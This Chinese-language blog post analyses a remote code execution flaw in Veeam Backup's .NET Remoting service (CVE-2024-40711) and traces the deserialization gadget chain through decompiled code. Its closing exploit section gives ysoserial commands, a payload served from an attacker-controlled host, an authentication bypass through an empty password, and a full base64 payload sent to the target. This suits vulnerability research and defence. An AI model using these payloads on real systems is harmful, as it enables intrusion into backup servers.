.Net Remoting 系列三:Veeam Backup RCE (CVE-2024-40711)

本次带来一个相对完整的分析案例

前置知识

https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html
https://github.com/codewhitesec/RogueRemotingServer

Remoting代码逻辑分析

按照之前的思路:

  1. 注册的Channel类型(全局搜ChannelServices#RegisterChannelInternal)
  2. sinkProviderChains
  3. TypeFilterLevel
  4. 注册的objecturi(全局搜RemotingConfiguration#RegisterWellKnownServiceType或RemotingServices#Marshal)
  5. 处理消息逻辑(IServerChannelSink#ProcessMessage的实现)

首先定位到Veeam.Common.Remoting.dll文件发现有TransportSink和FormatterSink相关的类,但是并没有自定义的ServerChannel,搜索ChannelServices#RegisterChannelInternal的调用找到注册ServerChannel的地方:

Pasted image 20240911111358.png

挨个看过去只有CSrvTcpChannelRegistration类注册了一个tcpServerChannel,具体调用代码如下:

private static TcpServerChannel RegisterChannel(Dictionary<string, string> channelProperties, IServerChannelSinkProvider sinkProvider, CConnectionInterceptor connectionInterceptor)
{
    TcpServerChannel tcpServerChannel = new TcpServerChannel(channelProperties, sinkProvider, connectionInterceptor);
    // 开启认证
    tcpServerChannel.IsSecured = true;
    ChannelServices.RegisterChannel(tcpServerChannel, true);
    CSrvTcpChannelRegistration.LogChannelData(tcpServerChannel);
    return tcpServerChannel;
}

注意这里TcpServerChannel传入的有第三个参数CConnectionInterceptor,这里放到后面再说,我们先梳理sinkProviderChains。
继续查找调用寻找sinkProvider定义的地方:

//其构造函数
private CSrvTcpChannelRegistration(string commonChannelName, int port, IReadOnlyDictionary<string, string> channelProperties, bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
{
    this._commonChannelName = commonChannelName;
    this._port = port;
    //调用GetSinkProvider方法
    IServerChannelSinkProvider sinkProvider = CSrvTcpChannelRegistration.GetSinkProvider(enableRemotingPerfLog, requireBasicPermission, monitor, impersonation, accessCheckerProvider, mfaProvider);
    CConnectionInterceptor cconnectionInterceptor = new CConnectionInterceptor();
    if (Socket.OSSupportsIPv4)
    {
        TcpServerChannel tcpServerChannel = CSrvTcpChannelRegistration.RegisterChannel(CSrvTcpChannelRegistration.CreateIPv4BindingConfiguration(commonChannelName, channelProperties), sinkProvider, cconnectionInterceptor);
        this._channelIPv4Name = tcpServerChannel.ChannelName;
    }
    ......
}

跟进GetSinkProvider方法

private static IServerChannelSinkProvider GetSinkProvider(bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
{
    IServerChannelSinkProvider serverChannelSinkProvider = new CBinaryServerFormatterSinkProvider(enableRemotingPerfLog, requireBasicPermission, accessCheckerProvider, mfaProvider);
    if (monitor != null)
    {
        serverChannelSinkProvider = new CActivityMonitorServerSinkProvider(monitor, serverChannelSinkProvider);
    }
    if (impersonation != null)
    {
        serverChannelSinkProvider = new CImpersonationServerSinkProvider(impersonation, serverChannelSinkProvider);
    }
    return serverChannelSinkProvider;
}

这里使用的是CBinaryServerFormatterSink作为FormatterSink,TransportSink使用的默认TcpServerTransportSink,整个服务端的sinkProviderChains:TcpServerTransportSink → CBinaryServerFormatterSink → DispatchChannelSink
同时CBinaryServerFormatterSink中定义了TypeFilterLevel.Low

追溯到启动类发现监听的端口为9392,服务名为Veeam.Backup.Service.exe(tcp://IP:9392/VeeamClientUpdateService )。

最后找到对应的ProcessMessage方法梳理处理消息的逻辑,主要代码如下:

public ServerProcessing ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, out IMessage responseMsg, out ITransportHeaders responseHeaders, out Stream responseStream)
{
    ServerProcessing serverProcessing;
    using (LogRegistration.RegisterSafe(this._logStorage))
    {
        ......
            string text = (string)requestHeaders["Content-Type"];
            string text2 = (string)requestHeaders["__RequestVerb"];
            ......
            //部分省略
                    requestMsg = CBinaryServerFormatterSink.DeserializeBinaryRequestMessage(requestStream, requestHeaders);
                    if (requestMsg == null)
                    {
                        throw new RemotingException("Remoting Deserialize Error");
                    }
                    IMethodMessage methodMessage = requestMsg as IMethodMessage;
                    if (methodMessage != null)
                    {
                        string text3 = requestHeaders["access_token"] as string;
                        Dictionary<string, object> dictionary;
                        EJwtValidationResult ejwtValidationResult = this._mfaProvider.ValidateToken(text3, out dictionary);
                        if (ejwtValidationResult == EJwtValidationResult.Empty || ejwtValidationResult == EJwtValidationResult.Invalid)
                        {
                            this.EnsureMfa(requestHeaders);
                        }
                        this.EnsureAccessIsAllowed(methodMessage);
                    }
                    sinkStack.Push(this, null);
                    ServerProcessing serverProcessing2 = this.CallNextSink(sinkStack, requestMsg, requestHeaders, null, out responseMsg, out responseHeaders, out responseStream);
                    if (responseStream != null)
                    {
                        throw new RemotingException("Remoting_ChnlSink_WantNullResponseStream");
                    }
                    switch (serverProcessing2)
                    {
                    case ServerProcessing.Complete:
                        if (responseMsg == null)
                        {
                            throw new RemotingException("Remoting_DispatchMessage");
                        }
                        sinkStack.Pop(this);
                        this.AddSessionToken(requestHeaders, ref responseHeaders);
                        CBinaryServerFormatterSink.SerializeResponse(sinkStack, responseMsg, ref responseHeaders, out responseStream);
                        this.AdditionalyLogResponse(responseMsg);
                    ......
            }
        }
    }
    return serverProcessing;
}

调用DeserializeBinaryRequestMessage方法执行反序列化的操作,也是整个过程中最关键的,实现如下

//Veeam.Common.Remoting.CBinaryServerFormatterSink#DeserializeBinaryRequestMessage
private static IMessage DeserializeBinaryRequestMessage(Stream requestStream, ITransportHeaders requestHeaders)
{
    IMessage message;
    try
    {
        message = (IMessage)CBinaryServerFormatterSink.CreateFormatter(false).DeserializeMethodResponse(requestStream, new HeaderHandler(new CBinaryServerFormatterSink.UriHeaderHandler(requestHeaders).HeaderHandler), null);
    }
    finally
    {
        requestStream.Close();
    }
    return message;
}

//Veeam.Common.Remoting.CBinaryServerFormatterSink#CreateFormatter
private static BinaryFormatter CreateFormatter(bool serializingResponse)
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    binaryFormatter.Binder = new RestrictedSerializationBinder(serializingResponse, RestrictedSerializationBinder.Modes.FilterByWhitelist);
    binaryFormatter.Context = new StreamingContext(StreamingContextStates.Other);
    binaryFormatter.FilterLevel = TypeFilterLevel.Low;
    binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Full;
    if (!serializingResponse)
    {
        binaryFormatter.SurrogateSelector = new CDataSerializationSurogate();
    }
    else
    {
        ISurrogateSelector surrogateSelector = new RemotingSurrogateSelector();
        surrogateSelector.ChainSelector(new CDataSerializationSurogate());
        binaryFormatter.SurrogateSelector = surrogateSelector;
    }
    return binaryFormatter;
}

这儿有两点需要注意:

  1. 定义了RestrictedSerializationBinder设置反序列化白名单或黑名单
  2. 定义了CDataSerializationSurogate作为formatter的序列化或反序列化处理

首先看RestrictedSerializationBinder是如何防御的,关注ResolveType方法和BindToType方法,如果仅仅使用CustomSerializationBinder是可以绕的,数据流:CustomSerializationBinder#BindToType-->RestrictedSerializationBinder#ResolveType-->RestrictedSerializationBinder#EnsureTypeIsAllowed关键代码如下:

// Veeam.Backup.Common.CustomSerializationBinder
    public class CustomSerializationBinder : SerializationBinder
    {
        public override Type BindToType(string assemblyName, string typeName)
        {
            return CustomSerializationBinder.TypeCache.GetOrAdd(new ValueTuple<string, string>(assemblyName, typeName), new Func<ValueTuple<string, string>, Type>(this.ResolveType));
        }

        protected virtual Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
        {
            return SBinderHelper.ResolveType(key);
        }

// Veeam.Backup.Common.RestrictedSerializationBinder
    public sealed class RestrictedSerializationBinder : CustomSerializationBinder
    {
        public RestrictedSerializationBinder(bool serializingResponse, RestrictedSerializationBinder.Modes mode = RestrictedSerializationBinder.Modes.FilterByWhitelist)
        {
            this._serializingResponse = serializingResponse;
            this._mode = mode;
        }
        ......
        protected override Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
        {
            this.EnsureTypeIsAllowed(key);
            Type type = base.ResolveType(key);
            RestrictedSerializationBinder.CheckIsRestrictedType(type);
            return type;
        }

        private void EnsureTypeIsAllowed([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
        {
            if (!this._serializingResponse && SOptions.Instance.ShouldWhitelistingRemoting)
            {
                this.EnsuredBlackWhitelistsAreLoaded();
                string text = key.Item2 + ", " + key.Item1;
                if (this._mode == RestrictedSerializationBinder.Modes.FilterByWhitelist)
                {
                    RestrictedSerializationBinder._allowedTypeFullnames.EnsureIsAllowed(text);
                    return;
                }
                if (this._mode == RestrictedSerializationBinder.Modes.FilterByBlacklist)
                {
                    RestrictedSerializationBinder._notAllowedTypeFullnames.EnsureIsAllowed(text);
                }
            }
        }

RestrictedSerializationBinder根据传入的mode参数决定使用白名单或黑名单模式,整个Remoting处理用的是白名单模式,这儿并不是先白名单后黑名单校验,而是二选一于是有了可乘之机。

漏洞分析

一共五处调用最终找到一处调用使用的是黑名单模式

Pasted image 20240912103648.png

代码如下:

// Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize
public static T Deserialize<T>(string input)
{
    T t;
    try
    {
        byte[] array = Convert.FromBase64String(input);
        BinaryFormatter binaryFormatter = new BinaryFormatter
        {
            Binder = new RestrictedSerializationBinder(false, RestrictedSerializationBinder.Modes.FilterByBlacklist)
        };
        t = CProxyBinaryFormatter.BinaryDeserializeObject<T>(array, binaryFormatter);
    }

妥妥的反序列化,老外通过对比补丁新增了一个ObjRef的链,该链子在反序列化的过程中只会反序列化System.Runtime.Remoting.ObjRefSystem.Exception,执行命令时不会触发其他黑名单。

可以将Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize作为一个跳板,找到一处调用该方法并处于白名单中的类,就能实现RCE。刚好最后老外从白名单找到一个调用该方法的类

// Veeam.Backup.Model.CDbCryptoKeyInfo
private readonly List<CRepairRec> _repairRecs = new List<CRepairRec>();
protected CDbCryptoKeyInfo(SerializationInfo info, StreamingContext context)
{
    this.Id = (Guid)info.GetValue("Id", typeof(Guid));
    byte[] array = (byte[])info.GetValue("KeySetId", typeof(byte[]));
    this.KeySetId = new CKeySetId(array);
    this.KeyType = (EDbCryptoKeyType)((int)info.GetValue("KeyType", typeof(int)));
    this.EncryptedKeyValue = Convert.FromBase64String(info.GetString("DecryptedKeyValue"));
    this.Hint = info.GetString("Hint");
    this.ModificationDateUtc = info.GetDateTime("ModificationDateUtc").SpecifyDateTimeUtc();
    this.CryptoAlg = (ECryptoAlg)info.GetInt32("CryptoAlg");
    this._repairRecs = CProxyBinaryFormatter.Deserialize<CRepairRec>((string[])info.GetValue("RepairRecs", typeof(string[]))).ToList<CRepairRec>();
    this.Version = info.GetInt64("Version");
    this.BackupId = (Guid)info.GetValue("BackupId", typeof(Guid));
    this.IsImported = info.GetBoolean("IsImported");
}

总结下:

  1. 无需自定义Channel(TcpServerChannel)
  2. 开启了认证(CConnectionInterceptor)、low type filter
  3. 存在一个URI为tcp://IP:9392/VeeamClientUpdateService
  4. 整个利用链.Net Remoting --> CDbCryptoKeyInfo( 白名单 ) --> CProxyBinaryFormatter.Deserialize ( 黑名单objref )--> RCE

EXP构造

需要用到ExploitRemotingService,有点小改动我编译之后放到这儿了。这儿的改动其实就是绕过其认证的,将用户密码置空就能绕过,CConnectionInterceptor类实际上未处理只是返回true。

Pasted image 20240918165455.png

然后构造ObjRef

ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c calc > exploit.soapformatter

RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0:2345/aaa exploit.soapformatter

ysoserial.exe -g ObjRef -f BinaryFormatter -c http://10.106.24.105:2345/aaa

// 最终生成AAEAAAD/////AQAAAAAAAAAEAQAAABBTeXN0ZW0uRXhjZXB0aW9uAQAAAAlDbGFzc05hbWUDHlN5c3RlbS5SdW50aW1lLlJlbW90aW5nLk9ialJlZgkCAAAABAIAAAAeU3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuT2JqUmVmAQAAAAN1cmwBBgMAAAAdaHR0cDovLzEwLjEwNi4yNC4xMDU6MjM0NS9hYWEL

重定义CDbCryptoKeyInfo序列化过程,传入上面生成的poc序列化:

[Serializable]  
public class CDbCryptoKeyInfoWrapper : ISerializable  
{  
    private string[] _fakeList;  

    public CDbCryptoKeyInfoWrapper(string[] _fakeList)  
    {  
        this._fakeList = _fakeList;  
    }  

    public void GetObjectData(SerializationInfo info, StreamingContext context)  
    {  
        info.SetType(typeof(CDbCryptoKeyInfo));  
        info.AddValue("Id", Guid.NewGuid());  
        info.AddValue("KeySetId", null);  
        info.AddValue("KeyType", 1);  
        info.AddValue("Hint", "aaaaa");  
        info.AddValue("DecryptedKeyValue", "AAAA");  
        info.AddValue("LocaleLCID", 0x409);  
        info.AddValue("ModificationDateUtc", new DateTime());  
        info.AddValue("CryptoAlg", 1);  
        info.AddValue("RepairRecs", _fakeList);  
    }  
}

传入生成的CDbCryptoKeyInfo序列化数据,再通过ExploitRemotingService发送POC

ExploitRemotingService.exe -s tcp://192.168.45.144:9392/VeeamClientUpdateService raw AAEAAAD/////AQAAAAAAAAAMAgAAAFZWZWVhbS5CYWNrdXAuTW9kZWwsIFZlcnNpb249MTIuMS4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YmZkNjg0ZGUyMjc2NzgzYQUBAAAAI1ZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcnlwdG9LZXlJbmZvCQAAAAJJZAhLZXlTZXRJZAdLZXlUeXBlBEhpbnQRRGVjcnlwdGVkS2V5VmFsdWUKTG9jYWxlTENJRBNNb2RpZmljYXRpb25EYXRlVXRjCUNyeXB0b0FsZwpSZXBhaXJSZWNzAwIAAQEAAAAGC1N5c3RlbS5HdWlkCAgNCAIAAAAE/f///wtTeXN0ZW0uR3VpZAsAAAACX2ECX2ICX2MCX2QCX2UCX2YCX2cCX2gCX2kCX2oCX2sAAAAAAAAAAAAAAAgHBwICAgICAgIC1f56MNPo3kO39y2SXeUREAoBAAAABgQAAAAFYWFhYWEGBQAAAARBQUFBCQQAAAAAAAAAAAAAAQAAAAkGAAAAEQYAAAABAAAABgcAAADkAUFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBQkJUZVhOMFpXMHVSWGhqWlhCMGFXOXVBUUFBQUFsRGJHRnpjMDVoYldVREhsTjVjM1JsYlM1U2RXNTBhVzFsTGxKbGJXOTBhVzVuTGs5aWFsSmxaZ2tDQUFBQUJBSUFBQUFlVTNsemRHVnRMbEoxYm5ScGJXVXVVbVZ0YjNScGJtY3VUMkpxVW1WbUFRQUFBQU4xY213QkJnTUFBQUFkYUhSMGNEb3ZMekV3TGpFd05pNHlOQzR4TURVNk1qTTBOUzloWVdFTAs=

Pasted image 20240918170256.png

总结

TypeFilterLevel.Low时,可以尝试反序列化其他符合条件的对象进而触发一些恶意方法实现RCE。

参考

https://github.com/codewhitesec/RogueRemotingServer
https://github.com/tyranid/ExploitRemotingService
https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/

  • 发表于 2024-12-25 10:42:01
  • 阅读 ( 1550 )
  • 分类:WEB安全

0 条评论

请先 登录 后评论
g7shot
g7shot

3 篇文章

站长统计